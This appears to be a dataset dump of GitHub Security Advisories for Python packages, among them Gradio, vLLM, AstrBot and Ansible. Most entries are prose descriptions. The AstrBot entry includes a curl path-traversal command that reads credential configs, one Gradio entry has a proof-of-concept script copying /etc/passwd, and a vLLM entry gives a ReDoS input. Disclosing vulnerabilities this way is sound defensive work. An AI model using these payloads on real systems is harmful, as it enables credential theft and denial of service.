deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-gmhf-gg8w-jw42
Package: signxml (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: < 4.0.4
Patched in: 4.0.4

Summary: SignXML's signature verification with HMAC is vulnerable to a timing attack

Details:
When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (`signxml.XMLVerifier.verify(require_x509=False, hmac_key=...`), prior versions of SignXML are vulnerable to a potential timing attack. The verifier may leak information about the correct HMAC when comparing it with the user supplied hash, allowing users to reconstruct the correct HMAC for any data.
GitHub Security Advisory: GHSA-gp5h-f9c5-8355
Package: aim (PIP)
Severity: LOW (CVSS 6.3)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 3.29.1
Patched in: unpatched

Summary: Aim Vulnerable to Sandbox Escape Leading to Remote Code Execution

Details:
A vulnerability classified as critical was found in aimhubio aim up to 3.29.1. This vulnerability affects the function RestrictedPythonQuery of the file /aim/storage/query.py of the component run_view Object Handler. The manipulation of the argument Query leads to sandbox issue. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-wmjh-cpqj-4v6x
Package: gradio (PIP)
Severity: LOW (CVSS 3.7)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: >= 5.0.0, <= 5.29.1
Patched in: unpatched

Summary: Gradio CORS Origin Validation Bypass Vulnerability

Details:
A vulnerability classified as problematic has been found in gradio-app gradio up to 5.29.1. This affects the function is_valid_origin of the component CORS Handler. The manipulation of the argument localhost_aliases leads to origin validation error. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
GitHub Security Advisory: GHSA-cq37-g2qp-3c2p
Package: astrbot (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-23: Relative Path Traversal
Vulnerable versions: >= 3.4.4, <= 3.5.12
Patched in: 3.5.13

Summary: AstrBot Has Path Traversal Vulnerability in /api/chat/get_file

Details:
### Impact

This vulnerability may lead to:

* Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.

### Reproduce

Follow these steps to set up a test environment for reproducing the vulnerability:

1. Install dependencies and clone the repository:

   ```bash
   pip install uv
   git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
   uv run main.py
   ```

2. Alternatively, deploy the program via pip:

   ```bash
   mkdir astrbot && cd astrbot
   uvx astrbot init
   uvx astrbot run
   ```

3. In another terminal, run the following command to exploit the vulnerability:

   ```bash
   curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json
   ```

This request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).

### Patches

The vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.

### Workarounds
Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.

### References

* [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676)
* [Issue #1675](https://github.com/AstrBotDevs/AstrBot/issues/1675)
GitHub Security Advisory: GHSA-33p9-3p43-82vq
Package: jupyter_core (PIP)
Severity: HIGH (CVSS 7.3)
CWE: CWE-427: Uncontrolled Search Path Element
Vulnerable versions: < 5.8.0
Patched in: 5.8.1

Summary: Jupyter Core on Windows Has Uncontrolled Search Path Element Local Privilege Escalation Vulnerability

Details:
## Impact

On Windows, the shared `%PROGRAMDATA%` directory is searched for configuration files (`SYSTEM_CONFIG_PATH` and `SYSTEM_JUPYTER_PATH`), which may allow users to create configuration files affecting other users.

Only shared Windows systems with multiple users and unprotected `%PROGRAMDATA%` are affected.

## Mitigations

- upgrade to `jupyter_core>=5.8.1` (5.8.0 is patched but breaks `jupyter-server`) , or
- as administrator, modify the permissions on the `%PROGRAMDATA%` directory so it is not writable by unauthorized users, or
- as administrator, create the `%PROGRAMDATA%\jupyter` directory with appropriately restrictive permissions, or
- as user or administrator, set the `%PROGRAMDATA%` environment variable to a directory with appropriately restrictive permissions (e.g. controlled by administrators _or_ the current user)

## Credit

Reported via Trend Micro Zero Day Initiative as ZDI-CAN-25932
GitHub Security Advisory: GHSA-m4jx-m5hg-qrxx
Package: django-helpdesk (PIP)
Severity: MODERATE (CVSS 5.1)
CWE: CWE-277: Insecure Inherited Permissions
Vulnerable versions: < 1.0.0
Patched in: 1.0.0

Summary: django-helpdesk Allows Sensitive Data Exposure

Details:
django-helpdesk before 1.0.0 allows Sensitive Data Exposure because of os.umask(0) in models.py.
GitHub Security Advisory: GHSA-3749-ghw9-m3mg
Package: torch (PIP)
Severity: LOW (CVSS 3.3)
CWE: CWE-404: Improper Resource Shutdown or Release
Vulnerable versions: < 2.7.1-rc1
Patched in: 2.7.1-rc1

Summary: PyTorch susceptible to local Denial of Service

Details:
A vulnerability, which was classified as problematic, has been found in PyTorch 2.6.0+cu124. Affected by this issue is the function torch.mkldnn_max_pool2d. The manipulation leads to denial of service. An attack has to be approached locally. The exploit has been disclosed to the public and may be used.
GitHub Security Advisory: GHSA-8w7f-8pr9-xgwj
Package: apache-superset (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 4.1.2
Patched in: 4.1.2

Summary: Apache Superset: Improper authorization bypass on row level security via SQL Injection

Details:
An authenticated malicious actor using specially crafted requests could bypass row level security configuration by injecting SQL into 'sqlExpression' fields. This allowed the execution of sub-queries to evade parsing defenses ultimately granting unauthorized access to data.

This issue affects Apache Superset: before 4.1.2.

Users are recommended to upgrade to version 4.1.2, which fixes the issue.
GitHub Security Advisory: GHSA-w578-j992-554x
Package: ansible (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: >= 2.2.0.0, < 2.2.3.0
Patched in: 2.2.3.0

Summary: Ansible fails to properly mark lookup-plugin results as unsafe

Details:
Ansible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.
GitHub Security Advisory: GHSA-w578-j992-554x
Package: ansible (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 2.1.6.0
Patched in: 2.1.6.0

Summary: Ansible fails to properly mark lookup-plugin results as unsafe

Details:
Ansible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.
GitHub Security Advisory: GHSA-w578-j992-554x
Package: ansible (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: >= 2.3.0.0, < 2.3.1.0
Patched in: 2.3.1.0

Summary: Ansible fails to properly mark lookup-plugin results as unsafe

Details:
Ansible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.
GitHub Security Advisory: GHSA-8jw3-6x8j-v96g
Package: gradio (PIP)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: < 5.31.0
Patched in: 5.31.0

Summary: Gradio Allows Unauthorized File Copy via Path Manipulation

Details:
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.

### Description
The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies.

**Source**: User-controlled `path` parameter in the flagging functionality JSON payload  
**Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method

The vulnerable code flow:
1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint
2. The `path` field within `FileData` object can reference any file on the system
3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object
4. The `FileData._copy_to_dir()` method uses this path without proper validation:

```python
def _copy_to_dir(self, dir: str) -> FileData:
    pathlib.Path(dir).mkdir(exist_ok=True)
    new_obj = dict(self)

    if not self.path:
        raise ValueError("Source file path is not set")
    new_name = shutil.copy(self.path, dir)  # vulnerable sink
    new_obj["path"] = new_name
    return self.__class__(**new_obj)
```
5. The lack of validation allows copying any file the Gradio process can read

### PoC
The following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio's flagged directory:


Setup a Gradio app:

```python
import gradio as gr

def image_classifier(inp):
    return {'cat': 0.2, 'dog': 0.8}

test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")

test.launch(share=True)
```

Run the PoC:

```python
import requests

url = "https://[your-gradio-app-url]/gradio_api/run/predict"  
headers = {
    "Content-Type": "application/json",  
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" 
}

payload = {
    "data": [
        {
            "path": "/etc/passwd",  
            "url": "[your-gradio-app-url]",
            "orig_name": "network_config", 
            "size": 5000,  
            "mime_type": "text/plain", 
            "meta": {
                "_type": "gradio.FileData"  
            }
        },
        {}  
    ],
    "event_data": None,
    "fn_index": 4, 
    "trigger_id": 11, 
    "session_hash": "test123"  
}

response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")
```
GitHub Security Advisory: GHSA-94v7-wxj6-r2q5
Package: multicast (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-1395: Dependency on Vulnerable Third-Party Component
Vulnerable versions: < 2.0.9a0
Patched in: 2.0.9a0

Summary: multicast in source builds from vulnerable setuptools dependency

Details:
### Impact
 * Some source-builds may be impacted by a CWE-1395 (eg. vulnerable `setuptools` dependency).
   * Multicast prior to v2.0.9a3 on systems with minimal dependancies installed may use `setuptools <78.1.1` and thus rely on a compromised dependency. In some cases there is a chance that source-builds would fail due to an exploit of the closely related CVE-2025-47273, or become arbitrarily modified.

### Patches
 * Pre-release version v2.0.9a0 and later resolve the issue by bumping requirements to `setuptools>=80.4`
   * Pre-release version v2.0.9a3 and later are recommended for improved stability over v2.0.9a0

### Workarounds
 * Further hardening in v2.0.9a4+ of the build process in CI builds allowing source builds to be verified via GH attestations.

### References
* [GHSA-5rjg-fvgr-3xxf](https://github.com/pypa/setuptools/security/advisories/GHSA-5rjg-fvgr-3xxf)
* pypa/setuptools#4946

### Fixes
* https://github.com/reactive-firewall/multicast/blob/c5c7c7de272421d944beca8452871bca6bfd151f/tests/requirements.txt#L32
* https://github.com/reactive-firewall/multicast/blob/c5c7c7de272421d944beca8452871bca6bfd151f/docs/requirements.txt#L27
* https://github.com/reactive-firewall/multicast/blob/c5c7c7de272421d944beca8452871bca6bfd151f/requirements.txt#L26
* https://github.com/reactive-firewall/multicast/blob/c5c7c7de272421d944beca8452871bca6bfd151f/pyproject.toml#L2
GitHub Security Advisory: GHSA-9hcf-v7m4-6m2j
Package: vllm (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-248: Uncaught Exception
Vulnerable versions: >= 0.8.0, < 0.9.0
Patched in: 0.9.0

Summary: vLLM allows clients to crash the openai server with invalid regex

Details:
### Impact

A denial of service bug caused the vLLM server to crash if an invalid regex was provided while using structured output. This vulnerability is similar to [GHSA-6qc9-v4r8-22xg](https://github.com/vllm-project/vllm/security/advisories/GHSA-6qc9-v4r8-22xg), but for regex instead of a JSON schema.

Issue with more details: https://github.com/vllm-project/vllm/issues/17313

### Patches

* https://github.com/vllm-project/vllm/pull/17623
GitHub Security Advisory: GHSA-c65p-x677-fgj6
Package: vllm (PIP)
Severity: MODERATE (CVSS 4.2)
CWE: CWE-1023: Incomplete Comparison with Missing Factors, CWE-1288: Improper Validation of Consistency within Input
Vulnerable versions: >= 0.7.0, < 0.9.0
Patched in: 0.9.0

Summary: vLLM has a Weakness in MultiModalHasher Image Hashing Implementation

Details:
## Summary

In the file `vllm/multimodal/hasher.py`, the `MultiModalHasher` class has a security and data integrity issue in its image hashing method. Currently, it serializes `PIL.Image.Image` objects using only `obj.tobytes()`, which returns only the raw pixel data, without including metadata such as the image’s shape (width, height, mode). As a result, two images of different sizes (e.g., 30x100 and 100x30) with the same pixel byte sequence could generate the same hash value. This may lead to hash collisions, incorrect cache hits, and even data leakage or security risks.

## Details

- **Affected file:** `vllm/multimodal/hasher.py`
- **Affected method:** `MultiModalHasher.serialize_item`
https://github.com/vllm-project/vllm/blob/9420a1fc30af1a632bbc2c66eb8668f3af41f026/vllm/multimodal/hasher.py#L34-L35
- **Current behavior:** For `Image.Image` instances, only `obj.tobytes()` is used for hashing.
- **Problem description:** `obj.tobytes()` does not include the image’s width, height, or mode metadata.
- **Impact:** Two images with the same pixel byte sequence but different sizes could be regarded as the same image by the cache and hashing system, which may result in:
    - Incorrect cache hits, leading to abnormal responses
    - Deliberate construction of images with different meanings but the same hash value


## Recommendation

In the `serialize_item` method, **serialization of `Image.Image` objects should include not only pixel data, but also all critical metadata**—such as dimensions (`size`), color mode (`mode`), format, and especially the `info` dictionary. The `info` dictionary is particularly important in palette-based images (e.g., mode `'P'`), where the palette itself is stored in `info`. Ignoring `info` can result in hash collisions between visually distinct images with the same pixel bytes but different palettes or metadata. This can lead to incorrect cache hits or even data leakage.

**Summary:**  
Serializing only the raw pixel data is insecure. Always include all image metadata (`size`, `mode`, `format`, `info`) in the hash calculation to prevent collisions, especially in cases like palette-based images.

**Impact for other modalities**
For the influence of other modalities, since the video modality is transformed into a multi-dimensional array containing the length, width, time, etc. of the video, the same problem exists due to the incorrect sequence of numpy as well.

For audio, since the momo function is not enabled in librosa.load, the loaded audio is automatically encoded into single channels by librosa and returns a one-dimensional array of numpy, thus keeping the structure of numpy fixed and not affected by this issue.

## Fixes

* https://github.com/vllm-project/vllm/pull/17378
GitHub Security Advisory: GHSA-4qjh-9fv9-r85r
Package: vllm (PIP)
Severity: LOW (CVSS 2.6)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: < 0.9.0
Patched in: 0.9.0

Summary: Potential Timing Side-Channel Vulnerability in vLLM’s Chunk-Based Prefix Caching

Details:
This issue arises from the prefix caching mechanism, which may expose the system to a timing side-channel attack.

## Description
When a new prompt is processed, if the PageAttention mechanism finds a matching prefix chunk, the prefill process speeds up, which is reflected in the TTFT (Time to First Token). Our tests revealed that the timing differences caused by matching chunks are significant enough to be recognized and exploited.

For instance, if the victim has submitted a sensitive prompt or if a valuable system prompt has been cached, an attacker sharing the same backend could attempt to guess the victim's input. By measuring the TTFT based on prefix matches, the attacker could verify if their guess is correct, leading to potential leakage of private information.

Unlike token-by-token sharing mechanisms, vLLM’s chunk-based approach (PageAttention) processes tokens in larger units (chunks). In our tests, with chunk_size=2, the timing differences became noticeable enough to allow attackers to infer whether portions of their input match the victim's prompt at the chunk level.

## Environment

- GPU: NVIDIA A100 (40G)
- CUDA: 11.8
- PyTorch: 2.3.1
- OS: Ubuntu 18.04
- vLLM: v0.5.1
Configuration: We launched vLLM using the default settings and adjusted chunk_size=2 to evaluate the TTFT.

## Leakage
We conducted our tests using LLaMA2-70B-GPTQ on a single device. We analyzed the timing differences when prompts shared prefixes of 2 chunks, and plotted the corresponding ROC curves. Our results suggest that timing differences can be reliably used to distinguish prefix matches, demonstrating a potential side-channel vulnerability.
<img src="https://github.com/user-attachments/assets/db3491e9-02b7-424c-9b6d-56f553b39f2f" alt="roc_curves_combined_block_2" width="400"/>


## Results
In our experiment, we analyzed the response time differences between cache hits and misses in vLLM's PageAttention mechanism. Using ROC curve analysis to assess the distinguishability of these timing differences, we observed the following results:
- With a 1-token prefix, the ROC curve yielded an AUC value of 0.571, indicating that even with a short prefix, an attacker can reasonably distinguish between cache hits and misses based on response times.
- When the prefix length increases to 8 tokens, the AUC value rises significantly to 0.99, showing that the attacker can almost perfectly identify cache hits with a longer prefix.

## Fixes

* https://github.com/vllm-project/vllm/pull/17045
GitHub Security Advisory: GHSA-w6q7-j642-7c25
Package: vllm (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-1333: Inefficient Regular Expression Complexity
Vulnerable versions: >= 0.6.4, < 0.9.0
Patched in: 0.9.0

Summary: vLLM has a Regular Expression Denial of Service (ReDoS, Exponential Complexity) Vulnerability in `pythonic_tool_parser.py`

Details:
## Summary

A Regular Expression Denial of Service (ReDoS) vulnerability exists in the file [`vllm/entrypoints/openai/tool_parsers/pythonic_tool_parser.py`](https://github.com/vllm-project/vllm/blob/main/vllm/entrypoints/openai/tool_parsers/pythonic_tool_parser.py) of the vLLM project. The root cause is the use of a highly complex and nested regular expression for tool call detection, which can be exploited by an attacker to cause severe performance degradation or make the service unavailable.

## Details

The following regular expression is used to match tool/function call patterns:
```
r"\[([a-zA-Z]+\w*\(([a-zA-Z]+\w*=.*,\s*)*([a-zA-Z]+\w*=.*\s)?\),\s*)*([a-zA-Z]+\w*\(([a-zA-Z]+\w*=.*,\s*)*([a-zA-Z]+\w*=.*\s*)?\)\s*)+\]"
```
This pattern contains multiple nested quantifiers (`*`, `+`), optional groups, and inner repetitions which make it vulnerable to catastrophic backtracking.

**Attack Example:**
A malicious input such as  
```
[A(A=	)A(A=,		)A(A=,		)A(A=,		)... (repeated dozens of times) ...]

or

"[A(A=" + "\t)A(A=,\t" * repeat
```



can cause the regular expression engine to consume CPU exponentially with the input length, effectively freezing or crashing the server (DoS).

**Proof of Concept:**
A Python script demonstrates that matching such a crafted string with the above regex results in exponential time complexity. Even moderate input lengths can bring the system to a halt.

```
Length: 22, Time: 0.0000 seconds, Match: False
Length: 38, Time: 0.0010 seconds, Match: False
Length: 54, Time: 0.0250 seconds, Match: False
Length: 70, Time: 0.5185 seconds, Match: False
Length: 86, Time: 13.2703 seconds, Match: False
Length: 102, Time: 319.0717 seconds, Match: False
```

## Impact

- **Denial of Service (DoS):** An attacker can trigger a denial of service by sending specially crafted payloads to any API or interface that invokes this regex, causing excessive CPU usage and making the vLLM service unavailable.
- **Resource Exhaustion and Memory Retention:** As this regex is invoked during function call parsing, the matching process may hold on to significant CPU and memory resources for extended periods (due to catastrophic backtracking). In the context of vLLM, this also means that the associated KV cache (used for model inference and typically stored in GPU memory) is not released in a timely manner. This can lead to GPU memory exhaustion, degraded throughput, and service instability.
- **Potential for Broader System Instability:** Resource exhaustion from stuck or slow requests may cascade into broader system instability or service downtime if not mitigated.

## Fix

* https://github.com/vllm-project/vllm/pull/18454
* Note that while this change has significantly improved performance, this regex may still be problematic. It has gone from exponential time complexity, O(2^N), to O(N^2).
GitHub Security Advisory: GHSA-339r-cjv9-x78g
Package: llama-index-retrievers-duckdb-retriever (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 0.4.0
Patched in: 0.4.0

Summary:  LlamaIndex Retrievers Integration: DuckDBRetriever SQL Injection

Details:
A SQL injection vulnerability exists in the `duckdb_retriever` component of the run-llama/llama_index repository, specifically in llama-index-retrievers-duckdb-retriever prior to v0.4.0. The vulnerability arises from the construction of SQL queries without using prepared statements, allowing an attacker to inject arbitrary SQL code. This can lead to remote code execution (RCE) by installing the shellfs extension and executing malicious commands.